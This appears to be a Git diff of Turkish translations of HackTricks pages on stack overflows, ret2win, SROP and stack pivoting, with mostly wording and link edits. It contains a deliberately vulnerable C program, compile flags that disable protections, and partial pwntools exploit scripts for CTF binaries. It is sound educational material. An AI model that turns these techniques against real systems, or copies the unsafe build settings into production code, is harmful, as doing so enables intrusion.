Ayrıca [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kontrol edin, burada ikili dosya zaten `sigreturn` çağrıyordu ve bu nedenle **ROP** ile bunu inşa etmek gerekmez:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -128,14 +128,14 @@ target.interactive()
 | 
			
		||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
 | 
			
		||||
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür.
 | 
			
		||||
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/index.html) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür.
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
 | 
			
		||||
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir).
 | 
			
		||||
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağıran bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/index.html) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir).
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
 | 
			
		||||
- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği. ROP zinciri, `gets`'i tekrar çağırarak `/bin/sh`'yi `.bss`'ye yazar, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır.
 | 
			
		||||
- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanarak basit bir buffer overflow. [**ret2syscall**](../rop-syscall-execv/index.html) gerçekleştiren gadget eksikliği. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır.
 | 
			
		||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
 | 
			
		||||
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir, ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır.
 | 
			
		||||
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı sağlar ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program tekrar ESP'ye okuma çağıracak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçerek onu bir sonraki talimat olarak yazacak ve çalıştıracaktır.
 | 
			
		||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 | 
			
		||||
- SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır.
 | 
			
		||||
- SROP, bir shellcode'un yerleştirildiği yere (memprotect) yürütme ayrıcalıkları vermek için kullanılır.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,15 +2,15 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Stack Overflow Nedir
 | 
			
		||||
## What is a Stack Overflow
 | 
			
		||||
 | 
			
		||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
 | 
			
		||||
 | 
			
		||||
Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
 | 
			
		||||
Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**.
 | 
			
		||||
 | 
			
		||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalamasından** kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur.
 | 
			
		||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.
 | 
			
		||||
 | 
			
		||||
Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir.
 | 
			
		||||
Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan miktardan büyükse, savunmasız bir şekilde kullanılabilir.
 | 
			
		||||
 | 
			
		||||
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
 | 
			
		||||
```c
 | 
			
		||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
 | 
			
		||||
 | 
			
		||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin** tam olarak bir kez **bitişik bir alt dizi olarak göründüğü** **döngüsel bir dizidir.**
 | 
			
		||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.**
 | 
			
		||||
 | 
			
		||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür.
 | 
			
		||||
 | 
			
		||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 | 
			
		||||
```
 | 
			
		||||
## Yığın Taşmalarını Sömürme
 | 
			
		||||
 | 
			
		||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilen **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
 | 
			
		||||
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
 | 
			
		||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
 | 
			
		||||
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilecektir**.
 | 
			
		||||
 | 
			
		||||
Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
 | 
			
		||||
Ancak, diğer senaryolarda sadece yığın içindeki bazı değişkenlerin değerlerini **üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
 | 
			
		||||
 | 
			
		||||
### Ret2win
 | 
			
		||||
 | 
			
		||||
Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
 | 
			
		||||
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2win/
 | 
			
		||||
@ -89,7 +89,7 @@ Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de o
 | 
			
		||||
 | 
			
		||||
## Koruma Türleri
 | 
			
		||||
 | 
			
		||||
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
 | 
			
		||||
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../common-binary-protections-and-bypasses/
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığındaki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: 
 | 
			
		||||
**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: 
 | 
			
		||||
 | 
			
		||||
### C Örneği
 | 
			
		||||
 | 
			
		||||
Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün:
 | 
			
		||||
Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız `win` fonksiyonunu düşünün:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
@ -33,13 +33,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | 
			
		||||
```
 | 
			
		||||
- `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır).
 | 
			
		||||
- `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak.
 | 
			
		||||
- `-z execstack`: Yığında kodun çalışmasına izin ver.
 | 
			
		||||
- `-z execstack`: Yığında kodun çalıştırılmasına izin ver.
 | 
			
		||||
- `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız Yürütülebilir'i devre dışı bırak.
 | 
			
		||||
- `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle.
 | 
			
		||||
 | 
			
		||||
### Pwntools Kullanarak Python Exploit
 | 
			
		||||
### Python Exploit using Pwntools
 | 
			
		||||
 | 
			
		||||
Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır.
 | 
			
		||||
Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır.
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -69,8 +69,8 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı
 | 
			
		||||
 | 
			
		||||
## Koruma Önlemleri
 | 
			
		||||
 | 
			
		||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen** bir işlem yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır.
 | 
			
		||||
- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Yazma** yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olur.
 | 
			
		||||
- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
 | 
			
		||||
 | 
			
		||||
## Diğer Örnekler & Referanslar
 | 
			
		||||
 | 
			
		||||
@ -82,17 +82,17 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı
 | 
			
		||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 | 
			
		||||
- 64 bit, ASLR yok
 | 
			
		||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
 | 
			
		||||
- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür
 | 
			
		||||
- 32 bit, ASLR yok, çift küçük taşma, ilk yığını taşır ve ikinci taşmanın boyutunu büyütür
 | 
			
		||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 | 
			
		||||
- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst üste yazmak için format dizesi
 | 
			
		||||
- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) yazmak için format dizesi
 | 
			
		||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
 | 
			
		||||
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt)
 | 
			
		||||
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi yazımı (1Bayt)
 | 
			
		||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
 | 
			
		||||
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt)
 | 
			
		||||
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi yazımı (1Bayt)
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 | 
			
		||||
- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
 | 
			
		||||
- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi bir tampon taşması oluşturur ve bu, bir ret2win ile istismar edilir.
 | 
			
		||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 | 
			
		||||
- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst üste yazma (ret2win)
 | 
			
		||||
- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi yazma (ret2win)
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
 | 
			
		||||
- arm64, PIE, `win` fonksiyonu aslında 2 fonksiyondur, bu nedenle 2 fonksiyonu çağıran ROP gadget
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemini gerçekleştirir.
 | 
			
		||||
Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder.
 | 
			
		||||
 | 
			
		||||
Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder:
 | 
			
		||||
```
 | 
			
		||||
@ -19,7 +19,7 @@ Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bun
 | 
			
		||||
Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
 | 
			
		||||
 | 
			
		||||
Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\
 | 
			
		||||
İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer.
 | 
			
		||||
**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer.
 | 
			
		||||
 | 
			
		||||
#### Exploit Yapısı
 | 
			
		||||
 | 
			
		||||
@ -28,22 +28,22 @@ Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine
 | 
			
		||||
Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:
 | 
			
		||||
 | 
			
		||||
- Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi.
 | 
			
		||||
- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bit).
 | 
			
		||||
- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri).
 | 
			
		||||
- **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**.
 | 
			
		||||
- Bazı [**ROP**](../rop-return-oriented-programing/) zincirleri.
 | 
			
		||||
- Bazı [**ROP**](../rop-return-oriented-programing/index.html) zincirleri.
 | 
			
		||||
 | 
			
		||||
Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.
 | 
			
		||||
Kontrollü bellek kısmındaki bu adreslerden önce **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.
 | 
			
		||||
 | 
			
		||||
#### Off-By-One Exploit
 | 
			
		||||
 | 
			
		||||
Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\
 | 
			
		||||
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00'ı değiştirilir.
 | 
			
		||||
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve son ROP zincirinin çalıştırılması daha olası hale gelir.
 | 
			
		||||
Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir.
 | 
			
		||||
 | 
			
		||||
### **EBP Zincirleme**
 | 
			
		||||
 | 
			
		||||
Bu nedenle, yığındaki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığından kontrol edilen `EBP` adresine taşımak mümkündür**.
 | 
			
		||||
Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerindeki kontrol edilen `EBP` adresine taşımak mümkündür**.
 | 
			
		||||
 | 
			
		||||
Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:
 | 
			
		||||
 | 
			
		||||
@ -54,9 +54,9 @@ Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonrak
 | 
			
		||||
 | 
			
		||||
Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
 | 
			
		||||
 | 
			
		||||
Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
 | 
			
		||||
Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır. Bu sayfanın son payload'u:
 | 
			
		||||
Ayrıca, bu tekniği kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır ve bir **stack leak** ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -94,7 +94,7 @@ print(p.recvline())
 | 
			
		||||
```
 | 
			
		||||
## EBP kullanılmayabilir
 | 
			
		||||
 | 
			
		||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\
 | 
			
		||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\
 | 
			
		||||
Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir.
 | 
			
		||||
 | 
			
		||||
- **Optimize edilmemiş:**
 | 
			
		||||
@ -188,13 +188,13 @@ ret2esp tekniğini burada kontrol edin:
 | 
			
